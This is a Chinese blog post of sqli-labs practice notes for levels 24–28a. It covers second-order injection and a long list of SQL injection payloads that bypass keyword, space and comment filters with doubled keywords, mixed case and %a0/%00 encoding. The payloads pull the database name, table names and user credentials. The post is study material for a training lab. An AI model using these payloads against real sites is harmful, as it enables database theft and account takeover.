sqli-labs靶场笔记(五)
Less-24【二次注入|'注入】

代码分析

注册页面存在过滤,无法注入

更改密码页面没有过滤,可以尝试注入
创建账户



成功创建账号admin’ #
登陆账号进行修改密码操作


注入成功,成功修改admin密码
Less-25【双写绕过|'注入|注释符屏蔽|报错注入】
该题过滤了and、or、注释符
下面展示 payload。
id=1' aandnd extractvalue(1,concat('~',(select database()))) anandd 'a'='a


Less-25a【双写过滤|Boolean盲注】
下面展示 payload。
id=1 aandnd ascii(substr((select database()),1,1))=115


得到数据库为security
Less-26【双写绕过|'注入|注释符屏蔽|报错注入|空格屏蔽】
该题过滤了and、or、空格和注释符
法一:
这里的可以使用||或者采用()绕过
下面展示 payload。
1’+aandnd+'a'='a
1'||extractvalue(1,concat('~',(select database())))||'a'='a //爆破数据库名
1'||extractvalue(1,concat('$',(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))))||'a'='a //爆破表名



法二:
在linux下执行:
下面展示 payload。
id=0'%a0union%a0select%a0 1,2,
(select%a0 group_concat( concat_ws( 0x7e,username,passwoorrd )) %a0from (%a0security.users)) ;%00
%a 相当于空格 转码问题

Less-26a【编码绕过|’)注入|注释符屏蔽|空格屏蔽】
这题无法使用报错注入、盲注,且在windows上转码存在一定问题,以下去到linux环境下进行。
该题过滤了and、or、空格和注释符
下面展示 payload。
id=0'%a0)union%a0select%a0 1,2,
(select%a0 group_concat( concat_ws( 0x7e,username,passwoorrd )) %a0from (%a0security.users)) ;%00

Less-27【大小写绕过|'注入|编码绕过|注释符屏蔽|空格屏蔽】
该题屏蔽了空格,注释符,select,union
下面展示 payload。
id=0'%a0)UniOn%a0SeLect%a0 1,2,
(sEleCt%a0 group_concat( concat_ws( 0x7e,username,passwoorrd )) %a0from (%a0security.users)) ;%00

Less-27a【大小写绕过|"注入|编码绕过|注释符屏蔽|空格屏蔽】
该题屏蔽了空格,注释符,select,union
下面展示 payload。
id=0“%a0UniOn%a0SeLect%a0 1,2,
(sEleCt%a0 group_concat( concat_ws( 0x7e,username,passwoorrd )) %a0from (%a0security.users)) ;%00

Less-28【时间盲注|空格屏蔽】
该题屏蔽了union、select关键字
下面展示 payload。
1%27)and%a0if(ascii(substr((select%a0database()),1,1))=115,sleep(5),1);%00 //时间盲注爆破库名
1%27)and%a0if(ascii(substr((select%a0table_name%a0from%a0information_schema.tables%a0where%a0table_schema=%27security%27%a0limit%a00,1),1,1))=101,sleep(5),1);%00 //时间盲注爆破表名


Less-28a【union联合注入|时间盲注】
该题屏蔽了union、select关键字
法一:时间盲注【linux上进行】
下面展示 payload。
1%27)and%a0if(ascii(substr((select%a0database()),1,1))=115,sleep(5),1);%00 //时间盲注爆破库名
1%27)and%a0if(ascii(substr((select%a0table_name%a0from%a0information_schema.tables%a0where%a0table_schema=%27security%27%a0limit%a00,1),1,1))=101,sleep(5),1);%00 //时间盲注爆破表名
法二:union联合注入【win系统】
下面展示 payload。
-1') uniounion selectn select 1,database(),3%23 //爆破库名
-1') uniounion selectn select 1,(select table_name from information_schema.tables where table_schema='security' limit 3,1),3%23 //爆破表名
id=0') uniounion selectn select 1,2,
(select group_concat( concat_ws( 0x7e,username,password)) from security.users)--+ //爆破数据


本文是sqli-labs靶场笔记第五篇,记录了Less-24至Less-28a多个关卡的SQL注入情况。如Less-24在更改密码页面注入成功;Less-25等关卡存在不同过滤规则,需采用双写绕过、大小写绕过、编码绕过等方法,还涉及时间盲注、联合注入等技术。
318

被折叠的 条评论
为什么被折叠?



